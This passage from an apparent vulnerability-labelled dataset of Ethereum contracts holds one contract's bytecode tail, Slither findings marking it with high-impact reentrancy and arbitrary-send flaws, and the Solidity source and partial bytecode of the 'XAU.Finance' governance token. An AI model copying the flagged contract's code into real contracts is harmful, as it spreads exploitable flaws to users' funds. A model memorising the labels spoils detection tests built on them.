602001820160405280156118eb5781602001602082028036833780820191505090505b509050308160008151811061190357611902612bc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ce919061260e565b816001815181106119e2576119e1612bc7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a4930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611183565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611aad959493929190612cb4565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b611b09838383611b83565b505050565b6000806000611b1b611d4e565b91509150611b328183611b3990919063ffffffff16565b9250505090565b6000611b7b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611db0565b905092915050565b600080600080600080611b9587611e13565b955095509550955095509550611bf386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cd481611f23565b611cde8483611fe0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d3b919061238c565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611d84683635c9adc5dea00000600854611b3990919063ffffffff16565b821015611da357600854683635c9adc5dea00000935093505050611dac565b81819350935050505b9091565b60008083118290611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee919061224c565b60405180910390fd5b5060008385611e0691906127d0565b9050809150509392505050565b6000806000806000806000806000611e308a600c54600d5461201a565b9250925092506000611e40611b0e565b90506000806000611e538e8787876120b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ebd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116c1565b905092915050565b6000808284611ed49190612ab0565b905083811015611f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1090612d5a565b60405180910390fd5b8091505092915050565b6000611f2d611b0e565b90506000611f44828461213990919063ffffffff16565b9050611f9881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ff582600854611e7b90919063ffffffff16565b60088190555061201081600954611ec590919063ffffffff16565b6009819055505050565b6000806000806120466064612038888a61213990919063ffffffff16565b611b3990919063ffffffff16565b905060006120706064612062888b61213990919063ffffffff16565b611b3990919063ffffffff16565b905060006120998261208b858c611e7b90919063ffffffff16565b611e7b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806120c9858961213990919063ffffffff16565b905060006120e0868961213990919063ffffffff16565b905060006120f7878961213990919063ffffffff16565b90506000612120826121128587611e7b90919063ffffffff16565b611e7b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361214b57600090506121ad565b600082846121599190612a56565b905082848261216891906127d0565b146121a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219f90612dec565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121ed5780820151818401526020810190506121d2565b838111156121fc576000848401525b50505050565b6000601f19601f8301169050919050565b600061221e826121b3565b61222881856121be565b93506122388185602086016121cf565b61224181612202565b840191505092915050565b600060208201905081810360008301526122668184612213565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061229e82612273565b9050919050565b6122ae81612293565b81146122b957600080fd5b50565b6000813590506122cb816122a5565b92915050565b6000819050919050565b6122e4816122d1565b81146122ef57600080fd5b50565b600081359050612301816122db565b92915050565b6000806040838503121561231e5761231d61226e565b5b600061232c858286016122bc565b925050602061233d858286016122f2565b9150509250929050565b60008115159050919050565b61235c81612347565b82525050565b60006020820190506123776000830184612353565b92915050565b612386816122d1565b82525050565b60006020820190506123a1600083018461237d565b92915050565b6000806000606084860312156123c0576123bf61226e565b5b60006123ce868287016122bc565b93505060206123df868287016122bc565b92505060406123f0868287016122f2565b9150509250925092565b600060ff82169050919050565b612410816123fa565b82525050565b600060208201905061242b6000830184612407565b92915050565b61243a81612347565b811461244557600080fd5b50565b60008135905061245781612431565b92915050565b6000602082840312156124735761247261226e565b5b600061248184828501612448565b91505092915050565b6000602082840312156124a05761249f61226e565b5b60006124ae848285016122bc565b91505092915050565b6124c081612293565b82525050565b60006020820190506124db60008301846124b7565b92915050565b600080604083850312156124f8576124f761226e565b5b6000612506858286016122bc565b9250506020612517858286016122bc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125576020836121be565b915061256282612521565b602082019050919050565b600060208201905081810360008301526125868161254a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006125c36017836121be565b91506125ce8261258d565b602082019050919050565b600060208201905081810360008301526125f2816125b6565b9050919050565b600081519050612608816122a5565b92915050565b6000602082840312156126245761262361226e565b5b6000612632848285016125f9565b91505092915050565b600060408201905061265060008301856124b7565b61265d60208301846124b7565b9392505050565b6000819050919050565b6000819050919050565b600061269361268e61268984612664565b61266e565b6122d1565b9050919050565b6126a381612678565b82525050565b600060c0820190506126be60008301896124b7565b6126cb602083018861237d565b6126d8604083018761269a565b6126e5606083018661269a565b6126f260808301856124b7565b6126ff60a083018461237d565b979650505050505050565b600081519050612719816122db565b92915050565b6000806000606084860312156127385761273761226e565b5b60006127468682870161270a565b93505060206127578682870161270a565b92505060406127688682870161270a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006127db826122d1565b91506127e6836122d1565b9250826127f6576127f5612772565b5b828204905092915050565b600060408201905061281660008301856124b7565b612823602083018461237d565b9392505050565b60008151905061283981612431565b92915050565b6000602082840312156128555761285461226e565b5b60006128638482850161282a565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128c86024836121be565b91506128d38261286c565b604082019050919050565b600060208201905081810360008301526128f7816128bb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061295a6022836121be565b9150612965826128fe565b604082019050919050565b600060208201905081810360008301526129898161294d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129ec6029836121be565b91506129f782612990565b604082019050919050565b60006020820190508181036000830152612a1b816129df565b9050919050565b6000612a2d826122d1565b9150612a38836122d1565b925082821015612a4b57612a4a6127a1565b5b828203905092915050565b6000612a61826122d1565b9150612a6c836122d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612aa557612aa46127a1565b5b828202905092915050565b6000612abb826122d1565b9150612ac6836122d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612afb57612afa6127a1565b5b828201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612b62602a836121be565b9150612b6d82612b06565b604082019050919050565b60006020820190508181036000830152612b9181612b55565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c2b81612293565b82525050565b6000612c3d8383612c22565b60208301905092915050565b6000602082019050919050565b6000612c6182612bf6565b612c6b8185612c01565b9350612c7683612c12565b8060005b83811015612ca7578151612c8e8882612c31565b9750612c9983612c49565b925050600181019050612c7a565b5085935050505092915050565b600060a082019050612cc9600083018861237d565b612cd6602083018761269a565b8181036040830152612ce88186612c56565b9050612cf760608301856124b7565b612d04608083018461237d565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d44601b836121be565b9150612d4f82612d0e565b602082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dd66021836121be565b9150612de182612d7a565b604082019050919050565b60006020820190508181036000830152612e0581612dc9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c405261052cafb3a664b62ac751b52c86e6fe534dbba72cacafd8287b0470e964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,809
0x2F34Ae8F81C31cf43d8FDd626Db17f540a522BFB
/** *Submitted for verification at Etherscan.io on 2021-04-03 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // pragma experimental ABIEncoderV2; contract Finance { /// @notice EIP-20 token name for this token string public constant name = "XAU.Finance"; /// @notice EIP-20 token symbol for this token string public constant symbol = "XAU"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 1000e18; // 1k Finance /// @dev @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @dev @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Finance token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Finance::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Finance::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Finance::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Finance::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Finance::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Finance::delegateBySig: invalid nonce"); require(now <= expiry, "Finance::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Finance::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Finance::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Finance::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Finance::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Finance::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Finance::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Finance::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Finance::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101515760003560e01c806370a08231116100cd578063b4b5ea5711610081578063dd62ed3e11610066578063dd62ed3e14610508578063e7a324dc14610543578063f1127ed81461054b57610151565b8063b4b5ea5714610481578063c3cda520146104b457610151565b80637ecebe00116100b25780637ecebe001461040d57806395d89b4114610440578063a9059cbb1461044857610151565b806370a0823114610380578063782d6fe1146103b357610151565b806323b872dd11610124578063587cde1e11610109578063587cde1e146102a35780635c19a95c146102ff5780636fcfff451461033457610151565b806323b872dd14610242578063313ce5671461028557610151565b806306fdde0314610156578063095ea7b3146101d357806318160ddd1461022057806320606b701461023a575b600080fd5b61015e6105b7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020c600480360360408110156101e957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356105f0565b604080519115158252519081900360200190f35b610228610712565b60408051918252519081900360200190f35b61022861071f565b61020c6004803603606081101561025857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610743565b61028d6108df565b6040805160ff9092168252519081900360200190f35b6102d6600480360360208110156102b957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166108e4565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6103326004803603602081101561031557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661090c565b005b6103676004803603602081101561034a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610919565b6040805163ffffffff9092168252519081900360200190f35b6102286004803603602081101561039657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610931565b6103ec600480360360408110156103c957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610967565b604080516bffffffffffffffffffffffff9092168252519081900360200190f35b6102286004803603602081101561042357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c68565b61015e610c7a565b61020c6004803603604081101561045e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610cb3565b6103ec6004803603602081101561049757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610cef565b610332600480360360c08110156104ca57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060208101359060408101359060ff6060820135169060808101359060a00135610d9e565b6102286004803603604081101561051e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611124565b610228611168565b61058a6004803603604081101561056157600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff16906020013563ffffffff1661118c565b6040805163ffffffff90931683526bffffffffffffffffffffffff90911660208301528051918290030190f35b6040518060400160405280600b81526020017f5841552e46696e616e636500000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561064257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610667565b61066483604051806060016040528060288152602001611d21602891396111c7565b90505b3360008181526020818152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff8716908117909155815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a360019150505b92915050565b683635c9adc5dea0000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b73ffffffffffffffffffffffffffffffffffffffff83166000908152602081815260408083203380855290835281842054825160608101909352602880845291936bffffffffffffffffffffffff9091169285926107ab9288929190611d21908301396111c7565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156107f757506bffffffffffffffffffffffff82811614155b156108c75760006108218383604051806060016040528060408152602001611ca860409139611284565b73ffffffffffffffffffffffffffffffffffffffff898116600081815260208181526040808320948a168084529482529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff871690811790915582519081529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b6108d2878783611315565b5060019695505050505050565b601281565b60026020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b61091633826115bb565b50565b60046020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff166000908152600160205260409020546bffffffffffffffffffffffff1690565b60004382106109c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611e3a602a913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205463ffffffff16806109fc57600091505061070c565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260036020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860181168552925290912054168310610ad45773ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9490940163ffffffff168352929052205464010000000090046bffffffffffffffffffffffff16905061070c565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260036020908152604080832083805290915290205463ffffffff16831015610b1c57600091505061070c565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b8163ffffffff168163ffffffff161115610c1057600282820363ffffffff16048103610b6c611c28565b5073ffffffffffffffffffffffffffffffffffffffff8716600090815260036020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff169181019190915290871415610beb5760200151945061070c9350505050565b805163ffffffff16871115610c0257819350610c09565b6001820392505b5050610b42565b5073ffffffffffffffffffffffffffffffffffffffff8516600090815260036020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600381526020017f584155000000000000000000000000000000000000000000000000000000000081525081565b600080610cd883604051806060016040528060298152602001611db1602991396111c7565b9050610ce5338583611315565b5060019392505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602052604081205463ffffffff1680610d27576000610d97565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b9392505050565b60408051808201909152600b81527f5841552e46696e616e636500000000000000000000000000000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f2086bfa75735a1736b66aaa548bdb9b2afa1305649ff20b7ca33a4de86afcd68610e1f61166f565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c084015273ffffffffffffffffffffffffffffffffffffffff8b1660e084015261010083018a90526101208084018a905282518085039091018152610140840183528051908501207f19010000000000000000000000000000000000000000000000000000000000006101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a905261022286018990529351929650909492939092600192610242808401937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08301929081900390910190855afa158015610f98573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811661102f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611d496029913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8116600090815260056020526040902080546001810190915589146110b4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e646025913960400191505060405180910390fd5b8742111561110d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611dda6029913960400191505060405180910390fd5b611117818b6115bb565b505050505b505050505050565b73ffffffffffffffffffffffffffffffffffffffff9182166000908152602081815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b6000816c01000000000000000000000000841061127c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611241578181015183820152602001611229565b50505050905090810190601f16801561126e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061130d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611241578181015183820152602001611229565b505050900390565b73ffffffffffffffffffffffffffffffffffffffff8316611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f815260200180611d72603f913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166113ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c6b603d913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260409182902054825160608101909352603980845261144a936bffffffffffffffffffffffff9092169285929190611ce890830139611284565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260016020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9687161790559286168252908290205482516060810190935260338084526114dc9491909116928592909190611eb390830139611673565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526001602090815260409182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9687161790558151948616855290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600260205260408082205485841683529120546115b6929182169116836116fc565b505050565b73ffffffffffffffffffffffffffffffffffffffff808316600081815260026020818152604080842080546001845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46116698284836116fc565b50505050565b4690565b6000838301826bffffffffffffffffffffffff80871690831610156116f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611241578181015183820152602001611229565b50949350505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174657506000816bffffffffffffffffffffffff16115b156115b65773ffffffffffffffffffffffffffffffffffffffff8316156118495773ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604081205463ffffffff1690816117a0576000611810565b73ffffffffffffffffffffffffffffffffffffffff851660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b9050600061183782856040518060600160405280602b8152602001611c40602b9139611284565b90506118458684848461193f565b5050505b73ffffffffffffffffffffffffffffffffffffffff8216156115b65773ffffffffffffffffffffffffffffffffffffffff821660009081526004602052604081205463ffffffff16908161189e57600061190e565b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b9050600061193582856040518060600160405280602a8152602001611e89602a9139611673565b905061111c858484845b60006119634360405180606001604052806